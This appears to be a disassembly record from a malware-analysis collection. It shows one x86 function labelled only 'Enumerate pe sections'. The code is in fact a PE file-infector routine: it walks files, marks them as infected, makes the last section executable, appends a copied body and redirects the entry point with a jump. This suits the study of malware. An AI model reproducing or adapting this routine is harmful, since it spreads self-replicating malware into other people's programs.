Function at 0x4eef77
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push edi
push ebp
push 0x401717
push 0x40139b
push dword fs:[0]
mov dword fs:[0], esp
mov al, byte [ebx + 0x401395]
mov byte [ebx + 0x401399], al
mov byte [ebx + 0x401395], 0x64
lea eax, [ebx + 0x401115]
push eax
lea eax, [ebx + 0x40110b]
push eax
call dword [ebx + 0x403f73]
cmp eax, 0xffffffff
je 0x4ef2c3
mov dword [ebx + 0x4010cf], eax
lea eax, [ebx + 0x401141]
push eax
call dword [ebx + 0x403f9f]
cmp eax, 0xffffffff
je 0x4ef29b
test eax, 1
je 0x4eefea
jmp 0x4ef29b
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
lea eax, [ebx + 0x401141]
push eax
call dword [ebx + fcn.00403f9b]
cmp eax, 0xffffffff
je 0x4ef29b
mov dword [ebx + 0x4010d3], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebx + 0x4010d3]
call dword [ebx + 0x403f97]
test eax, eax
je 0x4ef26d
mov dword [ebx + 0x4010ff], eax
push 0
push 0
push 0
push 6
push dword [ebx + 0x4010ff]
call dword [ebx + 0x403f8f]
test eax, eax
je 0x4ef261
mov dword [ebx + 0x401103], eax
mov esi, eax
mov eax, dword [esi + 0x3c]
mov dword [ebx + 0x401107], eax
add esi, eax
cmp word [esi], 0x4550
jne 0x4ef255
cmp word [esi + 0x4c], 0x777a
jne 0x4ef080
jmp 0x4ef255
mov eax, dword [esi + 0x38]
mov dword [ebx + 0x4010ef], eax
mov eax, dword [esi + 0x3c]
mov dword [ebx + 0x4010eb], eax
or word [esi + 0x4c], 0x777a
movzx eax, word [esi + 6]
dec eax
imul eax, eax, 0x28
add eax, dword [ebx + 0x401107]
add eax, 0x18
movzx ecx, word [esi + 0x14]
add eax, ecx
mov dword [ebx + 0x4010db], eax
add eax, dword [ebx + 0x401103]
mov dword [eax + 0x24], 0xe0000060
mov edx, dword [eax + 0x14]
add edx, dword [eax + 8]
add edx, 0x2fdb
push 0x1000
push edx
call fcn.004eebac
mov dword [ebx + 0x4010d7], ecx
push dword [ebx + 0x4010eb]
push edx
call fcn.004eebac
mov dword [ebx + 0x4010f7], ecx
push 0
push 0
push dword [ebx + 0x4010f7]
push dword [ebx + 0x4010d3]
call dword [ebx + fcn.00403f83]
push dword [ebx + 0x401103]
call dword [ebx + 0x403f93]
push dword [ebx + 0x4010ff]
call dword [ebx + fcn.00403f8b]
push dword [ebx + 0x4010d3]
call dword [ebx + fcn.00403f87]
push 0
push dword [ebx + 0x4010d7]
push 0
push 4
push 0
push dword [ebx + 0x4010d3]
call dword [ebx + 0x403f97]
test eax, eax
je 0x4ef26d
mov dword [ebx + 0x4010ff], eax
push 0
push 0
push 0
push 6
push dword [ebx + 0x4010ff]
call dword [ebx + 0x403f8f]
test eax, eax
je 0x4ef261
mov dword [ebx + 0x401103], eax
mov esi, eax
mov eax, dword [ebx + 0x4010db]
add eax, esi
add esi, dword [eax + 0xc]
add esi, dword [eax + 8]
mov dword [ebx + 0x4010df], esi
add esi, 0x2d13
mov dword [ebx + 0x4010f3], esi
mov esi, dword [ebx + 0x401103]
add esi, dword [eax + 0x14]
add esi, dword [eax + 8]
mov dword [ebx + 0x4010e3], esi
mov edx, dword [eax + 8]
add edx, 0x2fdb
mov dword [eax + 8], edx
push dword [ebx + 0x4010eb]
push edx
call fcn.004eebac
mov dword [eax + 0x10], ecx
mov dword [ebx + 0x4010fb], ecx
mov edi, dword [ebx + 0x4010e3]
lea esi, [ebx + sym.imp.MSVBVM60.DLL___vbaVarTstGt]
mov ecx, 0x2fdb
cld
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebx + 0x401103]
mov eax, dword [esi + 0x3c]
add esi, eax
mov eax, dword [ebx + 0x4010df]
sub eax, dword [ebx + 0x401103]
add eax, 0x2fdb
push dword [ebx + 0x4010ef]
push eax
call fcn.004eebac
mov dword [esi + 0x50], ecx
mov eax, dword [ebx + 0x4010fb]
add dword [esi + 0x1c], eax
mov eax, dword [ebx + 0x4010df]
sub eax, dword [ebx + 0x401103]
add eax, 0x2bef
push dword [esi + 0x28]
pop dword [ebx + 0x4010e7]
mov dword [esi + 0x28], eax
mov eax, dword [ebx + 0x4010e7]
add eax, dword [ebx + 0x401103]
sub eax, dword [ebx + 0x4010f3]
sub edi, 0x2cd
mov dword [edi + 1], eax
mov byte [edi], 0xe9
push 0
pop dword [esi + 0xd0]
push dword [ebx + 0x401103]
call dword [ebx + 0x403f93]
push dword [ebx + 0x4010ff]
call dword [ebx + fcn.00403f8b]
push dword [ebx + 0x4010d3]
call dword [ebx + fcn.00403f8b]
inc byte [ebx + 0x40139a]
mov al, byte [ebx + 0x40139a]
cmp al, 5
jne 0x4ef29b
and byte [ebx + 0x40139a], 0
push 0x1388
call dword [ebx + 0x403f7f]
lea eax, [ebx + 0x401115]
push eax
push dword [ebx + 0x4010cf]
call dword [ebx + 0x403f77]
cmp eax, 0
jne 0x4eefc8
push dword [ebx + 0x4010cf]
call dword [ebx + 0x403f7b]
mov al, byte [ebx + 0x401399]
mov byte [ebx + 0x401395], al
pop dword fs:[0]
add esp, 0xc
pop edi
pop esi
ret